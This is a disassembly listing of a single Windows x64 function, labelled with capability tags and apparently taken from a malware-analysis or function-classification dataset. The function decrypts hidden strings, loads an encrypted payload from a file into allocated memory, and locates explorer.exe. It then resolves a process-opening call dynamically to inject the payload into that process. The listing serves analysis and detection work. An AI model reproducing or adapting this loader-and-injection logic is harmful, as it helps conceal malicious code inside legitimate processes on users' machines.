Function at 0x140001440
Capabilities:
Enumerate processes
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov r9d, 0x10
mov dword [rsp + 0x70], 0x55fdb1e5
mov edx, r9d
mov dword [rsp + 0x74], 0xb159af62
lea r8, section..data
mov dword [rsp + 0x78], 0x1a2d89c9
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x7c], 0x41aa8df5
mov byte [rbp - 0x80], 0
call fcn.140001000
mov r9d, 0x10
mov byte [rsp + 0x7c], 0
mov edx, r9d
mov dword [rsp + 0x40], 0x864f7626
lea r8, section..data
mov dword [rsp + 0x44], 0x5f44f6e4
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x48], 0xb0b9a57d
mov dword [rsp + 0x4c], 0xe162a2cf
mov byte [rsp + 0x50], 0
call fcn.140001000
xor edi, edi
mov byte [rsp + 0x4a], 0
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400017af
mov qword [rsp + 0x208], rsi
xor edx, edx
mov qword [rsp + 0x1d8], r14
mov rcx, rax
mov qword [rsp + 0x1d0], r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea esi, [rax - 0x3c965]
mov r15d, esi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
mov rcx, rbx
test rax, rax
je 0x1400017ba
xor r9d, r9d
mov qword [rsp + 0x210], r12
xor r8d, r8d
mov edx, 0x3c965
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rbp + 0x100]
mov qword [rsp + 0x20], rdi
mov r8d, esi
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9d, [rdi + 4]
mov r8d, 0x3000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
lea rdx, [0x14001e010]
lea rcx, [0x14001e020]
mov r12, rax
call fcn.1400017e0
mov r8, r12
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.1400017e0
mov r8d, r15d
mov rdx, r14
mov rcx, r12
call fcn.1400022b0
lea r9d, [rdi + 0x10]
mov edx, esi
lea r8, section..data
mov rcx, r12
call fcn.140001000
lea rcx, str._nHit_me__n
call fcn.1400017e0
call fcn.140003764
mov r9d, 0x10
mov dword [rsp + 0x58], 0x585a4ef
mov edx, r9d
mov dword [rsp + 0x5c], 0xc5353204
lea r8, section..data
mov dword [rsp + 0x60], 0x7b659524
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x64], 0x67ccde30
mov byte [rsp + 0x68], dil
call fcn.140001000
xor edx, edx
mov byte [rsp + 0x64], dil
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001782
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
je 0x14000177c
lea rdx, [rbp - 0x60]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400016c8
nop
lea rdx, [rbp - 0x34]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400016c5
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400016a0
jmp 0x1400016c8
mov edi, dword [rbp - 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001782
mov edx, edi
lea rcx, str.explorer.exe_PID___d_n
call fcn.1400017e0
mov r9d, 0x10
mov dword [rbp - 0x78], 0x8e92716a
mov edx, r9d
mov dword [rbp - 0x74], 0xb6942eb0
lea r8, section..data
mov dword [rbp - 0x70], 0xa5477771
lea rcx, [rbp - 0x78]
mov dword [rbp - 0x6c], 0x66d850ae
mov byte [rbp - 0x68], 0
call fcn.140001000
lea rcx, [rsp + 0x70]
mov byte [rbp - 0x6d], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
mov qword [0x14001fca8], rax
call rax
mov rdx, rax
lea rcx, str.hProc___x__n
mov rbx, rax
call fcn.1400017e0
call fcn.140003764
test rbx, rbx
je 0x140001782
mov r8d, esi
mov rdx, r12
mov rcx, rbx
call fcn.1400011e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x210]
xor eax, eax
mov r14, qword [rsp + 0x1d8]
mov rsi, qword [rsp + 0x208]
mov r15, qword [rsp + 0x1d0]
add rsp, 0x1e0
pop rdi
pop rbx
pop rbp
ret
mov ecx, 0xffffffff
call fcn.140003464
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call fcn.140003464
int3